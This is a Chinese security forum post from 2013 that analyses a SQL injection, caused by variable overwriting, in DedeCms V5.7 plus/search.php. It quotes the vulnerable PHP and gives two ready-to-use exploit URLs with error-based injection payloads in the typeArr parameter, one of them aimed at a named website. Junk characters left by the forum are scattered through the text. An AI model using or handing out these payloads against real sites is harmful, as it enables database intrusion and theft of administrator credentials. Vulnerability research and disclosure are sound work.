找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2370|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.7 Z* @1 C% @7 O) j) i7 q5 x
作者: c4rp3nt3r@0x50sec.org
1 j7 L1 s5 y0 u" I+ X/ tDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
. Q5 Z% T: d* Y8 W  a, j* c 7 P: b  s. {. V- |7 P% |9 ]9 V
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.' C& m4 F, \! B! R
0 g' [: ^. G$ c' d0 ~
============- Z$ K. ~  H2 O) r) z8 q2 a
. a7 h" G: z: b: L7 T# W6 Q

$ R0 D. o: S- f9 }- x1 k; F; B3 EDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
  f% Z% E- E7 D' K* Z
& {3 e- i* s4 q/ E7 l: Prequire_once(dirname(__FILE__).”/../include/common.inc.php”);
$ O# {: V- _. R/ wrequire_once(DEDEINC.”/arc.searchview.class.php”);
8 }$ E; Y# h$ H: d % t. J1 j4 B! X! A4 X) \/ S( ]
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
/ V& S. i+ S( O; z  c# D8 H2 u$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
9 O* \- }  ~0 v% Q# \$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;  n4 _6 P5 w- {0 D/ \8 I" I( m
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
8 D7 _! p! z5 n3 D$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
5 U& J1 K9 s* n; G5 l0 j
4 k) Q# @: [9 J5 oif(!isset($orderby)) $orderby=”;
0 ?* ^* E8 o6 a2 Gelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
% K' m- n% ?$ t. W; t: l; _ ) N) y/ {( M) i3 D. \, o+ f

" v5 ?! f. r; a3 T8 Wif(!isset($searchtype)) $searchtype = ‘titlekeyword’;! H; ?2 x) F. w$ U
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);% Q/ U2 g9 D% H% j+ I+ n

- C3 y: |* ~; J2 \5 i* r( Oif(!isset($keyword)){
: X$ P6 k( [; x0 z9 P% o4 q0 ]    if(!isset($q)) $q = ”;& D% y# n' R( ]2 n
    $keyword=$q;5 d3 I( W  c( Y. o/ R6 i
}
6 m5 a! z$ P' y5 c( _. f1 _) _ 9 Y( D6 i5 E8 f
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));& f8 i" \; b# O6 W* i
4 R: w6 A5 Q6 m
//查找栏目信息+ \  l7 }" l3 T. i! m
if(empty($typeid))
* k8 F- H5 C" a8 B6 h{
7 q& z6 [; V! ?  E    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;6 z6 R+ j9 x7 Z9 Q5 C
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
3 m7 J5 G  ^& c    {) H' ]1 _! G" c8 p: S# c
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
; v6 r$ _2 ]" q3 c4 a        fwrite($fp, “<”.”?php\r\n”);
' o$ U; E5 ]/ s/ r1 A  t6 ?        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
$ q) l" i4 W8 P. D; x+ Y) Y5 j0 {        $dsql->Execute();% J5 V/ b; P  E0 h2 b/ z! y
        while($row = $dsql->GetArray())
' B( G4 B8 X. h- Y! z7 y" u% H        {
( a* W& E  Q0 N3 [; f            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
- \8 a( @5 \* V9 Y3 \  @        }# J# f5 A- u9 S/ n0 {
        fwrite($fp, ‘?’.'>’);! i" _' i( q/ n  i
        fclose($fp);9 a  `* h7 t+ c
    }
& P6 A$ k7 l3 H+ B0 a: u    //引入栏目缓存并看关键字是否有相关栏目内容1 f4 ~4 j! R3 k' w# U6 G! P% S1 U1 J
    require_once($typenameCacheFile);9 N( Q0 ^  \- A7 K: U6 x
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
: U& d1 n" o% m7 f( R//7 J8 o+ e2 ?, a/ j8 v
    if(isset($typeArr) && is_array($typeArr))
2 z4 |" n7 k3 ~+ b    {8 v  t+ u' Z  Y" ?
        foreach($typeArr as $id=>$typename)- h( P5 @/ a1 s( }# D& Z  v! w4 Q
        {
9 a  H' J" }& D& r5 @$ X $ w* R2 l" k  ^* X. G# q
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
& ]4 ^  ^# |: ]! @) w2 O9 _            if($keyword != $keywordn)" @4 a/ I  w- _, [
            {
4 F& H1 ^$ a6 r- y$ B( r+ Y                $keyword = $keywordn;# H2 F, N5 U' d+ C4 v2 j# w5 Y7 r
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
' Z" J$ I% ^) l. s' `& `6 E8 r                break;
% u9 e& r5 h/ ]* G            }
" A: G0 c! Q5 r( e7 R        }
: A7 ^5 T& d5 K! @( [* R* V* A( @    }% j" m; ]1 Y( ?8 E0 @7 {
}2 \: N4 v9 K) y: W9 v  _6 M
然后plus/search.php文件下面定义了一个 Search类的对象 .
+ X, M+ N( s/ q在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
1 O. Y0 H% S. F% c- v  V$this->TypeLink = new TypeLink($typeid);
  u+ T% K! Y2 h  M2 f
4 _( c$ ]4 d9 }0 iTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
, @0 z' K  V1 W* E' S' v$ l 9 m0 p$ a2 A* @9 g& k
class TypeLink
: s; j- P- U. o( _3 Y{
% |, D6 a; D' O    var $typeDir;
2 t! ]2 q& N' ]* T5 }( A( }9 c& l    var $dsql;
$ D3 j, @( P' f: R% I# f5 N& ~' g    var $TypeID;9 |( y& x. S* S
    var $baseDir;
. Z$ t  V# T, `! D- V    var $modDir;, o" _! |% I8 N
    var $indexUrl;- G. T3 q/ J! o( n; h3 y
    var $indexName;
+ U) O& H3 U1 q3 w    var $TypeInfos;. a6 e- v4 s: o; s6 c  }
    var $SplitSymbol;
9 x# m& h; h4 y9 q& Z    var $valuePosition;/ \) K5 N$ B+ v: w
    var $valuePositionName;2 R8 I% O) ?( c" ]1 X% E3 F
    var $OptionArrayList;//构造函数///////
) I; P  ?/ m, f+ \    //php5构造函数5 R% X2 J2 }  w% i; V( w! s6 q* r
    function __construct($typeid)+ f$ `! @# ^/ e7 w
    {5 d. T* s8 F4 E2 _$ H- ^9 m$ K! j
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];; {, z1 G1 d, H4 z- S1 M  y
        $this->indexName = $GLOBALS['cfg_indexname'];
+ U5 z& w+ j; [8 T/ a        $this->baseDir = $GLOBALS['cfg_basedir'];: Y  ]2 Y% y1 ~& U5 E6 ^" k' c
        $this->modDir = $GLOBALS['cfg_templets_dir'];
+ ^# R; |. K8 A, o# C        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];/ p( S6 m* T2 g* U2 M
        $this->dsql = $GLOBALS['dsql'];
3 f4 Q; U9 I" L( E/ m0 N        $this->TypeID = $typeid;
  ?* [, y+ i+ a- @        $this->valuePosition = ”;9 U0 k. K- L8 K2 Q
        $this->valuePositionName = ”;
) h  ]+ ^' P7 {        $this->typeDir = ”;
" X. c4 f! P7 p+ I- y+ L        $this->OptionArrayList = ”;
$ t. R: P$ A+ C# [3 Z
+ M8 B! A8 |# h& `4 N( Y! E4 R, @        //载入类目信息
5 p: I- C1 N* j' o7 [( U0 {2 J
, Q1 x/ P. y5 ~6 C( z! h        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
8 Y% z/ m8 H- Q$ f& ^ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
8 [: `1 y, R4 n  Y2 _" w`#@__channeltype` ch) ~1 _" g3 a" \+ n: t9 O
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿0 D* M) Z2 {4 t. u% P

& k8 O4 q% U  |0 U        if($typeid > 0)
( ?0 @  A2 B# m- g0 K& G5 f6 G5 W1 Z        {
4 C/ j! {+ |6 A6 X6 R            $this->TypeInfos = $this->dsql->GetOne($query);8 p& `' e, Y3 ]4 a, i: P6 e$ S
利用代码一 需要 即使magic_quotes_gpc = Off
+ }$ l0 R: P+ u2 z ' L2 P) J% N$ W3 i* g% p1 A
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title* g1 M% x4 x" ~4 @. T+ x

6 A% X& f" l& T/ }这只是其中一个利用代码… Search 类的构造函数再往下: o/ i" B6 v# |  B

* w; ^/ S! s7 t$ Y; C' X……省略
- U' N5 K$ E, ~, Y$this->TypeID = $typeid;0 I& O( L/ {7 V! v$ W/ J  `' D
……省略
0 c6 ], r  O8 Jif($this->TypeID==”0″){- I% X4 E; c3 W
            $this->ChannelTypeid=1;# m5 X; }0 f! C/ J( W4 M$ ^- k
        }else{
" \; q% v' f& C6 j) O            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲4 |' `7 R' r5 ^' D. G
//现在不鸡肋了吧亲…1 k, W" Q  |8 }# v% A/ F8 i
            $this->ChannelTypeid=$row['channeltype'];% k) T4 h0 c& t- [$ L" `
5 f  S+ K* H: w8 C
        }- F% Q+ q$ {# S" ^- l7 O6 X; w: x, S3 j
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
7 _$ G) ?1 o% v( e5 J- t + t" k9 a, S9 O$ H: F7 ^) t8 P# g
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title& z: ~" j+ o0 _$ C# B* }& q

1 x& ~* ]% `9 G% _# ?) @* r如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
% H. F6 ^& B0 Z" n2 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表